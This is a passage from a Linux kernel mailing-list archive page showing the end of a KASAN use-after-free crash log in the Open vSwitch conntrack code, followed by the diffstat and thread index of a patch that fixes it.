[Wed Mar 18 20:20:25 2026] [  T10321]  ? __sanitizer_cov_trace_switch+0x54/0x90
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? aa_sk_perm+0x2e6/0xb80
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_packet_sendmsg+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_aa_sk_perm+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  __sys_sendto+0x47e/0x4d0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___sys_sendto+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? rcu_is_watching+0x12/0xc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? rcu_is_watching+0x12/0xc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_sendto+0xe5/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? do_syscall_64+0x93/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lockdep_hardirqs_on+0x7b/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [  T10321] RIP: 0033:0x7f820deb59ee
[Wed Mar 18 20:20:25 2026] [  T10321] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[Wed Mar 18 20:20:25 2026] [  T10321] RSP: 002b:00007f820de16dd8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[Wed Mar 18 20:20:25 2026] [  T10321] RAX: ffffffffffffffda RBX: 00007f820de176c0 RCX: 00007f820deb59ee
[Wed Mar 18 20:20:25 2026] [  T10321] RDX: 000000000000003a RSI: 00007f820de16e70 RDI: 0000000000000005
[Wed Mar 18 20:20:25 2026] [  T10321] RBP: 000055bb787812d0 R08: 00007f820de16e50 R09: 0000000000000014
[Wed Mar 18 20:20:25 2026] [  T10321] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000001337
[Wed Mar 18 20:20:25 2026] [  T10321] R13: 0000000000000052 R14: 00007ffc21454830 R15: 00007f820d617000
[Wed Mar 18 20:20:25 2026] [  T10321]  </TASK>

[Wed Mar 18 20:20:25 2026] [  T10321] Allocated by task 10293:
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [  T10321]  __kasan_kmalloc+0xaa/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_init+0xee/0x4d0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_init_net+0x304/0x5b0
[Wed Mar 18 20:20:25 2026] [  T10321]  ops_init+0x1e4/0x600
[Wed Mar 18 20:20:25 2026] [  T10321]  setup_net+0x224/0x860
[Wed Mar 18 20:20:25 2026] [  T10321]  copy_net_ns+0x2ab/0x5e0
[Wed Mar 18 20:20:25 2026] [  T10321]  create_new_namespaces+0x3ef/0xae0
[Wed Mar 18 20:20:25 2026] [  T10321]  unshare_nsproxy_namespaces+0xc8/0x1f0
[Wed Mar 18 20:20:25 2026] [  T10321]  ksys_unshare+0x437/0xa10
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_unshare+0x36/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

[Wed Mar 18 20:20:25 2026] [  T10321] Freed by task 1492:
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_stack+0x33/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_track+0x14/0x30
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_save_free_info+0x3b/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  __kasan_slab_free+0x4f/0x70
[Wed Mar 18 20:20:25 2026] [  T10321]  kfree+0x14a/0x4a0
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_exit+0x19c/0x270
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_exit_net+0xb3/0x9b0
[Wed Mar 18 20:20:25 2026] [  T10321]  ops_exit_list+0xb5/0x180
[Wed Mar 18 20:20:25 2026] [  T10321]  cleanup_net+0x5bc/0xb20
[Wed Mar 18 20:20:25 2026] [  T10321]  process_one_work+0x96d/0x1b60
[Wed Mar 18 20:20:25 2026] [  T10321]  worker_thread+0x647/0xe70
[Wed Mar 18 20:20:25 2026] [  T10321]  kthread+0x2b0/0x3a0
[Wed Mar 18 20:20:25 2026] [  T10321]  ret_from_fork+0x4a/0x80
[Wed Mar 18 20:20:25 2026] [  T10321]  ret_from_fork_asm+0x1a/0x30

[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address belongs to the object at ffff888035c1f3e0
                                       which belongs to the cache kmalloc-32 of size 32
[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address is located 0 bytes inside of
                                       freed 32-byte region [ffff888035c1f3e0, ffff888035c1f400)

[Wed Mar 18 20:20:25 2026] [  T10321] The buggy address belongs to the physical page:
[Wed Mar 18 20:20:25 2026] [  T10321] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x35c1f
[Wed Mar 18 20:20:25 2026] [  T10321] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[Wed Mar 18 20:20:25 2026] [  T10321] page_type: f5(slab)
[Wed Mar 18 20:20:25 2026] [  T10321] raw: 00fff00000000000 ffff88801c042940 ffffea0000967490 ffffea000082b650
[Wed Mar 18 20:20:25 2026] [  T10321] raw: 0000000000000000 0000000000150015 00000001f5000000 0000000000000000
[Wed Mar 18 20:20:25 2026] [  T10321] page dumped because: kasan: bad access detected
[Wed Mar 18 20:20:25 2026] [  T10321] page_owner tracks the page as allocated
[Wed Mar 18 20:20:25 2026] [  T10321] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 5358, tgid 5358 (systemd-tmpfile), ts 75209207871, free_ts 75022619452
[Wed Mar 18 20:20:25 2026] [  T10321]  post_alloc_hook+0x2ea/0x350
[Wed Mar 18 20:20:25 2026] [  T10321]  get_page_from_freelist+0x7af/0x3990
[Wed Mar 18 20:20:25 2026] [  T10321]  __alloc_pages_noprof+0x22b/0x26d0
[Wed Mar 18 20:20:25 2026] [  T10321]  alloc_pages_mpol_noprof+0x2ce/0x610
[Wed Mar 18 20:20:25 2026] [  T10321]  new_slab+0x2e5/0x420
[Wed Mar 18 20:20:25 2026] [  T10321]  ___slab_alloc+0xe60/0x19e0
[Wed Mar 18 20:20:25 2026] [  T10321]  __slab_alloc.isra.0+0x5b/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  __kmalloc_cache_noprof+0x2b9/0x300
[Wed Mar 18 20:20:25 2026] [  T10321]  kmem_cache_free+0x2d3/0x490
[Wed Mar 18 20:20:25 2026] [  T10321]  __fput+0x68b/0xb60
[Wed Mar 18 20:20:25 2026] [  T10321]  __fput_sync+0x4a/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_close+0x8b/0x100
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [  T10321] page last free pid 5359 tgid 5359 stack trace:
[Wed Mar 18 20:20:25 2026] [  T10321]  free_unref_page+0x6e8/0x1020
[Wed Mar 18 20:20:25 2026] [  T10321]  tlb_finish_mmu+0x284/0x830
[Wed Mar 18 20:20:25 2026] [  T10321]  exit_mmap+0x3e4/0xb40
[Wed Mar 18 20:20:25 2026] [  T10321]  __mmput+0x12a/0x4c0
[Wed Mar 18 20:20:25 2026] [  T10321]  mmput+0x67/0x70
[Wed Mar 18 20:20:25 2026] [  T10321]  do_exit+0x969/0x2ce0
[Wed Mar 18 20:20:25 2026] [  T10321]  do_group_exit+0xda/0x2a0
[Wed Mar 18 20:20:25 2026] [  T10321]  __x64_sys_exit_group+0x43/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  __pfx___do_sys_ni_syscall+0x0/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  do_syscall_64+0xc7/0x250
[Wed Mar 18 20:20:25 2026] [  T10321]  entry_SYSCALL_64_after_hwframe+0x77/0x7f

[Wed Mar 18 20:20:25 2026] [  T10321] Memory state around the buggy address:
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f300: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321] >ffff888035c1f380: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb
[Wed Mar 18 20:20:25 2026] [  T10321]                                                        ^
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321]  ffff888035c1f480: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc
[Wed Mar 18 20:20:25 2026] [  T10321] ==================================================================
[Wed Mar 18 20:20:25 2026] [  T10321] Kernel panic - not syncing: KASAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

 net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++--------------
 net/openvswitch/datapath.h  |  2 +-
 2 files changed, 51 insertions(+), 30 deletions(-)

-- 
2.54.0

^ permalink raw reply	[flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-22 20:59 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-22 16:40 [PATCH net v2 0/1] openvswitch: Fix CT limit teardown use-after-free Ren Wei
2026-07-22 16:40 ` [PATCH net v2 1/1] " Ren Wei
2026-07-22 20:59   ` Ilya Maximets

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.